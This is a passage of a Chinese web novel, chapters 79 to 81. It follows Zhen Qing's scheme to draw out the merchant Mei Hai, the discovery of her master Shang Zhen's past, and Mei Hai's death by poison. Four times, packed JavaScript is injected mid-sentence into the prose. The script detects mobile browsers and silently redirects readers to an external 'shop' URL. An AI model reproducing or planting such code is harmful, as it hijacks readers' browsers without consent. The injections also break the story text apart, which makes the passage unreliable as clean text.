她心下有些惊慌,江诉镇定道:“禹王没有告诉我你的身体状况,只是我察觉到你比在长安的时候差上了许多,所以,请你多想想自己,也想想我。” 再次真诚恳切地重复,枕清的心突然微微一酸,她好像确实没有想过江诉,一直以来,觉得自己能过几日算几日,可是她逐渐发现自己力不从心,体力不支。 枕清心泛着一片软意,轻声道:“我知道了,下次不会了。江诉,我也想与你白头偕老。” 将至年关,庭州表面一片热闹祥和。 柳家女娘的案子,符生枝说是为了不让这件事的凶手逃出去,于是在庭州的关口严加看守,只许进,不许出。 至于仇羌病重的消息也已经放了出去,但并非说得是下毒,而是想要畏罪自杀,包庇同党,而身为与仇羌关系极好的枕清,自然也难逃其咎。 大街小巷甚至有一道传闻,说这件事就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665370|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是枕清所做,故意买凶杀人,只是因为这柳家女娘曾在一间铺子上与枕清起过争执,于是这位长史夫人枕清便起了杀心。 好似有一只无形的手,恰似要把这件事的幕后真凶都要推给枕清。这件事还有一个必不可少的人物,那就是薄映禾话里话外都是帮着枕清,甚至有包庇之意,也被一同看押。 此事一出,不少人开始琢磨,谁人不知道都督和都督夫人极其恩爱,倘若真的发生这种事,那么形势已经到了十分严峻的地步,就连都督都忍不了了! 这件事在老百姓眼中,像是一个回旋镖,转来转去,好似没有一个最终的确切点,只是把每个人都拉出来溜了一圈。但这件事也只是激起一段时间的声响,最后又逐渐销声匿迹,沉浸在过节的喜庆日子上。 或许旁人还以为枕清这几人在期期艾艾的吃苦中,没想到他们几人早早就跑了出来,甚至在雪地里抓了几只灰色的野兔子。 卷柏看到雪地比他们兴奋得多,甚至在雪地里打滚了好几圈,还有颐指气使地意思指挥牧青,牧青听从她的话,一下跑到树梢上,一下落在雪丛中,浑身全是积雪。 枕清则是轻快地走着,时不时哈了一口气,搓了搓自己僵硬受冻的手指,随后慢下脚步,转身放入江诉的手中,听身旁的薄映禾疑惑道:“这件事可行么?” 听到这话的枕清眉梢轻轻扬起,手中的动作肆意,她慢慢道:“我也不知道,我们现在能做的就是忍,最多一月。” 薄映禾拉紧自己的披风,却没有靠近枕清和江诉的意思,声音温和:“他不是知道我与你的关系,自然也能猜测到如此天翻地覆的局面,兴许他察觉到我们就是为了让他落马,况且我们也不能保证他真的对枕家有情。” 枕清将自己的手微微下垂,她的眼睫扑闪:“姊姊在枕家的时候,难道从来没有听枕淮说过梅海么?” 枕淮。 听到枕清这样说,薄映禾不知道为什么,总觉得自己的心空落落的,就好像是这个人只与自己有关,不过这样说,也属实正常,因为枕清从未感受过枕家一丝一毫的温度,枕家于她而言,仅仅是陌生的存在。 薄映禾神情如常道:“从未。” 枕清松开江诉的手,走向薄映禾道:“没事,他迟早要出来的。我就是想看看我们是否能把他引出来,还是旁的才能令他上钩。不过,这段时间,定能让他焦灼难待。” 没有说话的符生枝放下手中的弹弓,漫不经心地询问道:“旁的是什么?” 枕清解释道:“河东盐池,教坊花阁,酒楼茶肆,还有牲畜......”这话说得轻飘飘的,好似就是动一动手指头的事情。 符生枝在这一刻,终于为枕清竖起了大拇指,他笑道:“你这是要把他老巢掀翻了。” 老巢么,是鼠蚁之地,既然是这么肮脏的地方,自然要换上更清新的才好。 枕清眼神晦暗不明。从袖中拿出早已备好的弓弩,朝一处翕动的地方射去,一只灰色的兔子旋即一蹦,倒在原地。看清一切的卷柏拍手叫好,枕清收起弓弩,只是翘了翘唇瓣,没有说话。 这上扬的嘴角,早已说明她满意这样的赞赏。 79. 霜尽残潮荡月回(六) 岁暮天寒,官道上有大片的积雪,行驶的马车滑了一下又一下。 良久后,才停下道来。 仇羌坐在车内,看到一柄红伞下的一身白袄。行驶的距离越来越近,仇羌逐渐看清那道清丽的身形,身姿清瘦,面容一如既往地明艳漂亮,甚至比长安还未张开的模样更为出挑。 “你是不是被江诉养肥了?”仇羌说笑般道,“面颊上都有肉了。” 枕清听到这话,眉眼只是轻轻动了动,她没有点头,亦没有摇头,只道:“我来送你。” 虽然经过那件事,两人之间的气氛逐渐变得诡异古怪,但是仇羌还是尽量维持原本该有的状态,浑身都透着不满意的目光上下打量枕清,啧啧道:“谁送人是穿白衣送的,活像是送我去死的。” 这嘴巴,倒是真有三分贱嗖。 枕清不禁凝眉,视线犀利地看着他,最后两手一摊道:“你若是这么想,我也没办法。路上不说点吉利话,是真的想死么?” 怼完这两句,枕清指了指方才被自己搁在一旁的伞,道:“这不是特意带了一个红伞,你若是日后还在我跟前乱讲话的话,我就让你以后都说不出话。” 仇羌才不信,枕清也就是嘴巴说得狠。他眉梢挑起道:“我有话与你说,在长安郊外,疫病的那一次,我寻到解药的药方要给你的时候,我看到你在那一片丛林里,和江诉滚在一起,其实我早发现了你,也一直隐藏自己的实力。 “但我最终目的不是为了和你说这件事,而是我想跟你说,那位叫陈谷的人,他并没有用我的方子。他好像知道那个药方子,却又不说,只是一直在旁边提点另一个人,最后药方有见效,那人的功劳却拱手相让。我知道那人是在藏拙,我也不清楚内情。不过嘛,我听见他们两人都有在说你。” 枕清:“嗯?” 仇羌道:“问你怎么不见了,又是否安全之类的。但那陈谷却说,你从未来过。” 长安的日子倒是有些久了,枕清差不多都要忘记许多细枝末节,他知道陈谷是在藏拙,学医的天赋依旧有,可是他不想被困在那个长安那个地方,更不想被困在陈家。 最后,仇羌从怀中拿出及笄礼那日王闻礼的匕首,他轻巧地转动,笑着问:“这把匕首,你还要么?” 枕清没想到仇羌居然一直将这把匕首带在身边,之前都没有要给她的意思,现在突然来问她要不要,简直像是无事献殷勤,非奸即盗。 不过也可能是因为觉得她和王闻礼的局面如同水火,现在人死了,自然也就过了。 盯着那匕首的珠宝看了半晌,枕清突然伸出手说:“给我吧。” 仇羌意外道:“你居然会要?” 枕清说:“这是钱,好贵的。” 这句话说得十分坦然,这把匕首镶嵌着许多闪闪发光的珠宝,色泽艳丽漂亮,一看就知道做工精致,非常地漂亮华丽。 枕清见仇羌迟迟没有把东西放在她手中,忽地有些不耐烦道:“你是不是不想给我,你说这句话只是故意试探我的态度?” 仇羌即使被发现了,也没有窘迫感,而是把东西放在枕清的手中,最后说:“我走了。” 枕清握紧那冰冷坚硬的匕首,心里突然感觉有一种怪异的情绪漫上心头,她失神片刻,朝仇羌点头。 这把匕首,她在云流的生辰上没有得到,在及笄礼那天也没有碰上,甚至就连王闻礼死去的那天,她对这件礼物也不知全貌。 结果在某一日后,突然再次得到这个东西,好像是心中翻涌起了某种别样的诡异情绪。因为枕清辨不清楚,只好说那股情绪——诡异。 她看着马车渐行渐远,转身回到了街上,走近一个偏僻的小院子内,这里已经是荒无人烟,甚至连杂草的都没有,可谓是一片死寂。 枕清听说这里是从前王闻礼常待的地方,她盖上的帽围,皂纱被她轻轻撂上去,枕清在这个院子里转了一圈,最后停在那颗桑树下。 她挖了一个洞,把匕首放进那个洞穴中,最后轻轻用泥土掩埋。 “还你了。”枕清拿起旁边的伞,缓缓撑开,离开了这间院子。 _ 河东盐池、教坊花阁、酒楼茶肆,无数牲畜...... 这背后的势力可谓是极其庞大,并非是一言一语说说就能成功的。 如果想要搅动梅海这么多势力,背后没人是万万不行的。 江诉与符生枝不知道枕清究竟有哪一方势力,竟然能如此厉害。 以枕清现在的状态,她自然没这个本事,但是她起码背后有人,不单单是禹王,还有商震。 河东么,商震倒是熟悉,她开口笑着看江诉道:“你知道河东节度使是谁的人么?” 江诉十分捧场地摇摇头,随后又问道:“你的?” “我怎么可能有这般厉害的本事,是他。”枕清指了指不远处的地方,那里有两道身形,剪影看得出一人微微躬身,另一人懒散坐着,虽说没有多余可以看出来其他的地方,但是知道这是商震的屋子。 商震的威名响彻大启,不过是在二十年前,现如今,他们这般年纪的人自然是不认识的。 所以禹王初到长安,虽说没有势力,却依旧能在朝堂上站稳脚跟,倒也不是他真的有出奇的本事和能力,特别是在长安这样,惧怕抑或是无法容忍特别出彩的当权者,自然会被无数黑暗势力拉扯下来。 之所以能坐到如今的位置,就是因为有各方势力互相帮衬,而这人就是从雷州出来的商震。 商震的部下的势力因为云流大将军与太后殿下的存在,自然待不下去,大多数在陇右道与河东道那边。枕清也是倚靠商震才获得这么多便利,就好像是她身后因为有人商震就有了巨大的金手指。 师傅常说自己厉害,枕清却是不以为然,但想想最终,明明功高震主,让身居高位者害怕,却依旧能死里逃生,明明有那么多能力的部下,可以自视甚高,却依旧会臣服于商震之下。 要么有过人的本事叫人折服,要么是他真的非常有魅力。 枕清只记得师傅的严苛和骂人的狠劲,其余的倒也真是还没发觉出来,她心中如此想着,手却在江诉手中微微动作。 最后,她觉得自己小时候怕是被商震障目了,所以看不出来,于是轻声道:“你觉得师傅如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665371|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 江诉如实道:“还不错。” 枕清疑惑:“你有与他好好相处过么?就说还不错?” “你的师傅教出这样的你,自然是还不错。”江诉道,“如果不是他在小时候这般锻炼你,你这副身体,怕是撑不到来陇右的时候。” 这话说得不假的。 枕清微微耸耸肩,没有说话。 灯下商震对面的那人,并不是旁人,而是渭州刺史——北肆野 当初枕清成亲的时候他没有来,反倒是因为商震来到庭州,他就眼巴巴地跟了过来,可谓是叫人有些摸不清这人的脾性。 北肆野来到庭州没有任何人知道,自从要把渭州刺史的担子扔掉后,他已经过上了闲云野鹤的生活,只想悠闲自在地过好余生。 彼时坐在他对面的商震目光低垂,他向来不喜欢下这些棋子,尽是弯弯绕绕的心思,看着都心烦意乱,待最后落下一子要输了后,他当即一拍桌案,摆摆手,怒声道:“不来了不来了!” 对面那人清楚商震的脾气,倒是见怪不怪了,指了指商震这般模样,笑骂道:“一把年纪了,还是和年轻时候一模一样,一点都没变!” 商震听到这话不高兴了,浓重的眉眼盯着对面的人,冷道:“怎么就没变了,我还记得你们这些人,当初一个个都哄骗我,说什么这边可以打,那边需要退!瞧瞧,外人都觉得我商震多么威风啊,一群这么有能耐的人唯我马首是瞻,而我场场仗都赢得漂亮,可谁他娘知道出主意的都是你们这群人,最后各个都功成身退,让我一个人在雷州待了那么多年!” 北肆野自觉地理亏,只好嘿嘿笑道:“是是是,我们大家都对不住你。不过你在雷州不是还交了一个可爱的小徒弟么,他还在用我小女娘的身份,我这也算是有点用了,是吧?” 商震简直怒火中烧,见北肆野想要靠近拉扯他,他当即一个大翻身,囔囔道:“你可他娘得了吧,当初就是你说的最凶,你给个身份怎么了?你们几个弟兄们都过上好日子,最后把我给忘了!” “你这话就说得不对了,河东节度使李檄没给你东西,他不是年年给你寄上好的兵刃,还有之前的施祝和周锡位,不是也给你送了不少玩意,再说我,我也给你了。”北肆野赶紧为自己解释道。 呵呵。 他商震之所以能威名赫赫,都是因为那些人把什么本领和技巧都往他一个人身上说,算他倒霉,撞上太后殿下的档口,直接给他发配雷州,其余弟兄散的散,走的走,不过那些年的情谊却也不假,时而还会来看看他在雷州的样子。 甚至在他出雷州的时候,一路被接风洗尘,颇受照顾,这也算是独一无二的待遇。 当初是太后殿下觉得他的势力超过云流,甚至手握重兵,太后殿下自然想着让自己的兄长坐上最高的位置,才能放心,于是寻了一个由头将他发配到了雷州,而北肆野早已经知道功高震主,定然会被视作眼中钉,他们兄弟几个早早就找好了退路,分散各道。 而商震一待就是数十年,仿若一眨眼就过去了。 他盯着外边那两道恍惚的影子,闷闷一笑,往事随风去吧。 80. 霜尽残潮荡月回(七) 月上柳梢头,人躲墙沿后。 昏黄的烛光将两人的影子照映到墙角后,随着昏黑的夜色一同融入在大地上。 江诉与枕清听了半天墙角后,两人的视线不言而喻,甚至隐隐藏着一点发觉什么秘密后的兴奋,眼睛如果银河中的星星,装点的异常光彩动人。 枕清也总算想明白了这通关系,眼神不禁一动,原以为她师傅是以武力与脑子服众,没想到是个背锅大侠啊。 难怪她从没发现自己师傅脑子有什么好使的地方,看来真是没看错人哈。 枕清突然对跟着自己一起听墙角的江诉,呵呵一笑。 如此一来,一切都是这么的合情合理且一点不奇怪。 枕清拉过江诉的手,又装作若无其事的样子离开,虽然觉得自己这样非常不礼貌,可是看到商震这样,真的还是觉得非常的好笑,于是她逐渐走远,放声笑了出来。 江诉也不知道这件事的内情那么地离谱,看似非常不合理,却又觉得十分有可能。 对于枕清放声大笑,也只是跟在身旁微微动了动唇角,听着商震为了保护身边的兄弟,受了不少背锅的苦,但是还有其他需要帮助的地方,也是会倾囊相助。 早在成婚那日,江诉就已经发现陇右的各州刺史对商震的感情非同一般,起初还觉得奇怪,现如今倒是也看得明白了,只是这位河东节度使李檄,竟然还和商震是一道的人,他之前可是从未不知道。 原来在上一世,所以盘根错节的势力并没有完全的显露出去,一切都像是被积压在冰川底下,没有让人发现,只是因为这一世一切都被提前显现出来,出现蝴蝶效应,发生了巨大的变化。 枕清捂嘴笑了半会,却看到江诉面色淡淡,某种的神色却变得异常凝重,像是在思考,又像是下定什么决心一般。她心中不免察觉到一点古怪,虽说她对江诉的很多东西都不知道,但是许多都能顺着查的迹象推测得知,反之,江诉也清楚她心中的疑虑,为她解答。 可是她还是有疑问,而她也问出了这样的疑问:“江诉,你来陇右,真的是为了我么?你不喜欢权力,也不喜欢这个世界,可是你现在做了这么多,坐到如今的位置,当真只是为了一个我么?我有时候觉得,是不是我自己太自信了,还是说,你有别的目的,只是我不知道呢?” 江诉听到这话倒是轻轻一笑,他面上没有任何恼羞成怒,更没有出现一点不高兴的面色,好像是已经习惯了枕清这样的怀疑。 他开口道:“你的怀疑真是一点没变,究竟是哪里让你觉得我对你有所欺瞒?我好替我自己解释。” 枕清想了想,这一路上走来,江诉确实是事事顺着自己,就好像她要他往哪里走,他就会往哪里走,永远都听她的,也跟着她的脚步而动。 这样的江诉,或许对于她而言,太好了,好到有些让枕清觉得不真实。 枕清目光上移,声音带着自己都不知道的无措:“我只是觉得你对我太好了,所以江诉,你若是在日后做出背叛我的事情,我可能真的会......” “杀了我?”江诉轻笑问。 枕清别有深意地看向他,认真摇头道:“只有讨厌那个人,我才会想杀了他。除非你真的做了什么不可饶恕的事情,不然我不会杀你,但是我想我会很痛苦,但我要你活着,跟我一起痛苦!” 这话说得十分理所当然,好像是对于她而言,没有真正的对与错,只有我愿意。 枕清走在前面,江诉自然地落在她身后,枕清忽地转身堵住了江诉的去路,又道:“我不是一个好人,但也不是绝对的坏人,所以江诉,你会拉着我走,带我走向对的那条路,是么?” 江诉道:“尽我所能,直至生命的尽头。” 枕清笑:“好,那以后,有你在的地方,我就可以闭上眼睛,感受风来。” - 渭州刺史来到陇右的消息不胫而走,符生枝知道渭州刺史既然要放下职务,也没有针对的样子,不过也没有放过的意思。 商震和北肆姝不知道枕清的身份已经泄露,甚至还装模作样地到枕清跟前痛哭流涕,老泪纵横。 枕清第一次感受到自己成了一个活化石,僵硬地看着北肆野静静表演。如果符生枝不知道的话,枕清或许还能装一下,可是这里的每个人都知道她的真实身份。 枕清不自然地咳嗽了两声,也为了让这场戏能继续演下去,也跟着装,说了两句:“阿耶,这么多人看着,怪不好意思的,许多话我们等会再说。” 北肆野别过身子瞥过眼,揩了揩莫须有的眼泪,声音颤颤巍巍道:“好好好,我们等会说。” 这位北刺史还没过完戏瘾,又快步走到商震面前,高声大喊道:“商大将军!下官终于在这么多年后终于再次见到了你,那太后殿下太不做人啊!一登上高位,就把人踹得人仰马翻,翻脸比翻书还要快!只顾着扶持自己的亲弟弟!” 这话说得怨怼又愤恨。 商震也以为符生枝被蒙在鼓里,摇头道:“都已经过去了,这话可是万万不能说的。” 枕清和江诉默默对视一眼,一旁的薄映禾与符生枝也跟着哑然,四个年轻人看着两个老人在自己装了一场苦情大戏。 对于小辈的目光视若无睹,直到符生枝开了口,两人的演戏才歇停下来。 虽然符生枝在这群人里面年岁虽不是最大的,但是职位却是最高的,符生枝坐上了主位,一手撑在膝盖上,手背漫不经心地抵在下颚,道:“渭州刺史,对于您这个职位可是有好的人选了?” 北肆野的眼神微动,先是看向了枕清,又望向了枕清身边的江诉,拱手道:“全凭都督安排,下官并不会有任何意见。” 先是用眼神探寻,再以退为进。看似给予符生枝安排,实则是已经把他们下辈的心思都已经看透了,再装模做样表露出自己的心绪。 这眼神不是白瞟的。 枕清若有所思,好像能明白商震说当初上战场的人是北肆野出的主意最多,看样子确实如此。 符生枝也不搞这些弯弯绕绕,直接道:“好,那就让江长史来当这渭州刺史吧。” 北肆野嗷了一声,颔首道:“甚好,甚好。” 符生枝放松了动作,提起自己的衣摆,携着薄映禾准备踏出门去,符生枝忽地在门槛停留住,生生将屋外照进来的光彩遮住大半。 见此动作,枕清心头倏地一跳,江诉也当即反应过来,想要阻止符生枝的动作,枕清却先一步按耐住了江诉要出声的心思。 日头甚好,符生枝微微侧过脸,脸颊被照亮一般,像是漂亮的恶鬼,也像是捉弄人心且不可一世的掌权者,他声音含笑:“对了,枕小娘子,别忘了明日还要来一趟都护府,我们还有要事相商。” 听到这句枕小娘子的称呼,北肆野和商震觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665372|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得大脑一片空白,最后两人齐刷刷地盯着枕清,一齐大声道:“枕小娘子?” 枕清就觉得符生枝没安好心,她侧过脑袋笑笑,看着罪魁祸首已经走远,只好装作自己什么都不知道的样子,摆了摆手道:“昨日没睡好,还有些困,就不多留了。” “站住!”商震道,“你怎么被发现了?” 北肆野觉得自己的老脸都丢光了,“不是,我搁在这里装了半天,你们是一声都不吭啊。” 枕清举起手来,认错非常快:“我的错!对不起北叔父,我这不是想看戏么,您这搭的戏台子有趣得很,我不舍得说。” 说完这句话,枕清溜得非常快,江诉倒是朝两人颔首了一下,却被两人留了下来,枕清非常没义气的把江诉一个人留下了,甚至与江诉挥了挥手,示意自己要走了。 江诉无奈扶额,独自面对着两人。 - 枕清把自己被看押的消息已经散播出去,而梅海是还在庭州内,并且坐在一处茶馆内,对面的手下问:“现如今庭州被人严加把关,我们都出不去,这该如何呢?” 梅海倒是并不担忧,只说:“稍安勿躁,总归是会有去处的。” “可是这长史夫人与都督夫人都被看押住了,我们需要把她们解救出来吗?”那人又问道。 他知道枕家对梅海大人非同寻常,对于枕家的这两位小娘子更是关心,甚至经常会派人暗中保护和观察,可是不知道从什么时候开始,梅海手底下暗中保护枕清的人被铲除殆尽,而薄映禾那边都是都护府中的人,根本没有任何需要保护的地方。 唯一一次还是因为薄映禾与枕清一同逛庙会的那一次,梅海站在高楼上,远远瞧着那两一前一后的身影,好像是又留恋,难以忘怀的模样。 手下没有听到梅海的回答,又出声问:“梅大人没有孩子吧。” 梅海沉沉望了一眼对面的人,突然发出一声诡异的笑容,他道:“有。” “是小娘子还是郎君?” “一位小娘子。” 那下手是第一次听到梅海说起家中的事情,不免有几分激动,不过知道梅海有妻儿的人少之又少,若是有什么狂徒以此来威胁梅海,那么梅海怕是要赔得倾家荡产了,因此要把孩子护得紧一些,也是正常的。 “那,那两位夫人,大人打算如何?”手下问。 “不去。等。”梅海道,“她们两这是在引我现身呢。” 梅海活到这般岁数,虽说也不是特别聪明,但是对于这种事,他也是能看得清楚明白,现在的目的就是等。 而与此同时,枕清正坐在都护府中,薄映禾道:“这都许多天了,梅海真的会出现么?” 枕清慢悠悠为自己斟茶道:“不会。” 薄映禾:“?” 知道她有疑问,枕清道:“或许他早就知道我们这是故意引他出来,既然已经知道了,那么就没有意义了。放开城门吧,他会想出城的。” 薄映禾道:“你想要在出城的关口阻拦他?” 枕清道:“不是。” 薄映禾道:“那你这是何意?” 枕清说:“商人么,心中沟沟壑壑偏多,如果一件事太容易得到的话,那么他会将其复杂化,我们这时开城,他未必就会出去。我这是想要瓮中捉鳖呢。” 虽说薄映禾看不明白,却还是选择相信枕清,依言照办。 81. 霜尽残潮荡月回(八) 这几天枕清都一直待在都护府中,住在之前所住的院子内,她走在院子中央,突然看到占焰翻着墙跑了进来,她双手置于身前,慢声道:“关了这么久的城门,查出来了吗?” “查出来了。”占焰拍了拍自己的身子,把东西递给枕清道,“这个东西只有在城南才有,我费了好大一番力气才拿到的,你说这个东西真的管用么?” 枕清接过道:“我也不知道,再看看吧。” “不是我说,你真狠啊,在大婚之日,就给第一次见面的人下了一个毒啊?” “是啊,我毒不毒,你不都知道么?”枕清瞟了一眼占焰,看傻子一样的眼神扫过去,又收回来。 占焰后怕地甩了甩脑袋,咧开嘴角呀了一下,好像是看到了什么脏东西一样。真是不知道枕清怎么会这么做人的,管不得这么胸有成竹,还玩阴谋。 枕清怎么可能会在大庭广众之下,大婚之日给梅海下毒,她没有这个本事,更没有未卜先知的能力。 她拿起东西看了一眼外面的日头,其实她并不能确保能不能找到梅海,但是她总觉得梅海等着她来找他。 占焰想到一件事;突然开口道:“你还记不记得陈无极?就是陈琅,我好像看到了他。” 枕清蹙眉,冷声问:“阿之奎那边?” 占焰摇头:“那倒不是,就是在河东境内的路上偶然遇到了,他没发现我,不过看样子是遇到了什么棘手道事情。” 枕清淡淡应声,不再多言。 没多久后,河东盐池和教坊花阁都出现了问题。 梅海身边的人都坐不住了,已有蠢蠢欲动的迹象,而在这几天,枕清已经研制好一种独特的香味,是她在很早、很早之前就已经闻到过的香气。 在以前枕清总觉得这香味是禹王府中的暗卫,可在被刺杀的那一日,她并没有闻到那一种特殊的香味,而且如果真是禹王府的暗卫,或许她就不用在那半年里当乞丐了,于是断绝了她一直以来的疑惑。 直到与江诉成婚礼那天,她再次闻到那股气味,是在梅海身上。 当初在雷州当乞儿的时候,每当都快饿死时,总会出现一个人来给她一点吃的或者几个铜板吊着命。起初觉得是自己幸运,可是真的能一直那么幸运么? 枕清是不信的。 所以在这件事发生的第五次后,枕清故意抓住了那个人的衣服,在那人身上闻到了那一种淡淡的气味,那香气很能让人温和稳定,也就是那段时间,让她必须要闻到那种气味才能够安心。 在小时候,枕清练习的武功让她能察觉到周围的风吹草动,也是在那时候,她发觉到自己身边有很多小尾巴,只不过她不认识,也从没看见那些人在自己面前出现过。 起初不知道那些人从何而来,现在总算找到了那香味最终的来处。 枕清若有所思地把香味拿给了一条狗闻,那条狗走过大街小巷,最后在一处院子停下来。那是一间很不起眼的院子,推开门后,却又有一番别味的风情。 那条大黄狗在门口嗷嗷叫了两下,枕清微微一笑,目光移到院子内,她看到梅海一人在梅花树下斟茶,升起来的青烟飘渺虚无,好似在下一刻就要消失不见。 门是古老的实木,门底是波澜弯曲的,被风一吹,吱呀呀地响动。 枕清置若罔闻,踏步走了进来。 梅海看到枕清,心中没有诧异,仿佛早已预测到她的到来,甚至还邀请她说:“要不要来喝一喝我煮的茶,用的可是梅花上的雪。” 枕清闻到清冽的香味,她也不客气,挑眉笑道:“好啊。” “你怎么知道我会在这里?”梅海看向门外的那条大黄狗身上还有一个香囊,似乎明白了什么,又了然地笑了笑。 他的笑容异常温和,好似就是普通的长辈,没有任何高高在上的架子,心怀若谷,平易近人。 枕清留意他的目光,反问道:“与其问我为何知道你会在这里,我倒是更想问问梅大人,是怎么知道我在今日会来到此处。” 梅海不慌不忙地倒了一壶茶,递给枕清道:“我不知道。” 枕清看着这两副茶盏,疑惑道:“居然不知道,这两副茶具是何意思?那么是上一个人刚走,还是说梅大人要等的人还没来?” “来了。”梅海平静道,“都来了。” 枕清顿时挑到了“都”那个字眼,于是问:“枕灵么?” 梅海摇头道:“她倒是没有来。” 说完这句话,梅海慢慢悠悠地站起身,从容不迫地从一旁树梢上取了点雪,漫步在院子中,再怡然自得走了回来,把茶水壶放置在炭火之中。 枕清一直默默注视着梅海的动作,记得成婚那日他分明穿着极其厚重的衣服将自己包裹的严严实实,可今日的他比前些日子更单薄了些许,脖颈也露在外面。 “梅大人似乎不怕冷了。”枕清打趣问。 梅海拿起茶盏的手一顿,淡淡道:“冬日的天气一直都这么冷,穿再厚也抵不住,倒不如敞开来吹吹这风,也别有一番滋味。” 枕清颔首:“的确。” 他们两人讲话一来一回,两人都没有捅破那层拉扯到极限的线。 枕清不喜欢打哑谜地转圈:“你认识枕淮吗?你很注意我和枕灵。” 单刀直入是枕清的个性,她盯着梅海,梅海却是连眼皮都不曾跳动一下。 梅海说:“即使我说不认识,你都会觉得我是认识的。” “这话我就听不明白了,既然不认识,为何要如此照拂我们姊妹两?”枕清嘲道,“难不成梅大人的善心都做到了十多年前?知道枕家是被冤枉的,于是可怜长大成人后的我与姊姊?” 知道枕清这话说得挖苦,他也跟着自嘲道:“枕家是不是被冤枉的,我不清楚,不过这枕淮,倒是我这一生的贵人。如果不是他,我或许走不到如今这一步。而这大江南北,认识我梅海的人,只怕是少之又少。或许我现在还是个放牛羊的放牧郎。” 这话,枕清倒是听得明白了,因为枕淮帮过他,所以才会对枕家的她们多有照拂。可薄映禾却说她从未在枕淮口中听过这个人,这种事情还是有待商榷。 枕清见他坐下来,抬手与他碰盏,道:“梅大人也是聪明人,一定知道我这次过来是因为何事。我就想问一问,枕家当真对你有这么大的恩情,让你不顾风险,也要置符家与柳家于不顾?而我又凭什么信你,是不是我与枕灵身上有你所需要的东西?” 梅海突然仰天大笑,他面颊泛着红,似是高兴,又像是无奈:“没有。你们没有我所需要的东西。只不过是杀人偿命,古来的老话,况且你手中没有沾染鲜血么?柳长鸣,王闻礼,甚至还有我。” 枕清眼神微晃,她没有想到梅海居然这么快就对自己下定义,她唇瓣勉强勾起,突然觉得自己所做的一切在他面前无处遁寻,可她并没有露出胆怯的意思,目光极轻地落在他身上。 “这是枕家的事,与你一个外人又有何干系?你何必装得这般悲悯众生,你底下的教坊与花阁出的人命还不算多吗?” 她说完豁然起身,垂眸凝视梅海,极力克制面上的表情,唇瓣绷直道:“梅海,有什么事,到都护府说个清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667821|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净吧!” “怕是晚了。”梅海将手中的茶水一饮而尽道,“我已经完成了我的使命,即使是死,却也够了。” 枕清看着他手中的杯盏,突然觉得心口有气堵着了,虽然已经明白他的此举动作,可心中还有很多疑惑没有解答,在他最后的生机中询问:“在雷州的时候,你是不是在我身旁安插了暗卫?为什么要处处保护我,即使是枕家救过你的命,你也不至于做到如此地步!梅海,你是不是......” “呕!”血迹铺洒在雪地中,变得格外刺目,硬生生堵住了枕清接下来说的话。 梅海抚开唇瓣的血,“是我安插的,不过他们在你去长安的时候都死了。有人动了手,我不知道是谁。我活着只是为了帮恩人报仇,既然你和枕灵都没有停止查找下去,大仇即将得报,我也就放心了。” 枕清冷声问:“那么教坊和花阁呢?” 梅海有气无力道:“会散的,都会散的。” 院外有一群脚步声踏来,她转身看到了带着一大群人马而来的符生枝,就知道这件事已经不需要她来了,于是朝为首的那几人轻轻点头,独自一人踏出去。 这件事情是她始料未及的,总觉得这件事不应该这么仓皇落幕,可是事情就是这样结束了,她问清楚了自己要想知道的东西,却总觉得空落落的,好像来到一个虚无缥缈的梦境,知道一件事后,那个梦碎了,那个人死了。 可还是不对劲。 枕清独自走在热闹的街道,有一个阿婆认出枕清,笑着打招呼:“最近怎么没有看到你来商铺里。” “最近年关,家中事务繁多,来的次数也就少了。”枕清勉强提起笑容,朝家走。 从来没想过梅海居然会死的这般仓促,枕清原本还以为需要大展拳脚和身手,却没有派上任何用场,江诉留意到枕清的失魂落魄。 他出声问:“怎么了?” 枕清道:“江诉,梅海死了。可为什么我不高兴呢?这件事明明是按照我所想的走,可又不像是我所想那般畅快。他等着我,就好像是等着我来宣判他的死亡。” 江诉走近:“那你觉得死亡应该是什么样的?轰轰烈烈?还是说跌宕起伏?” 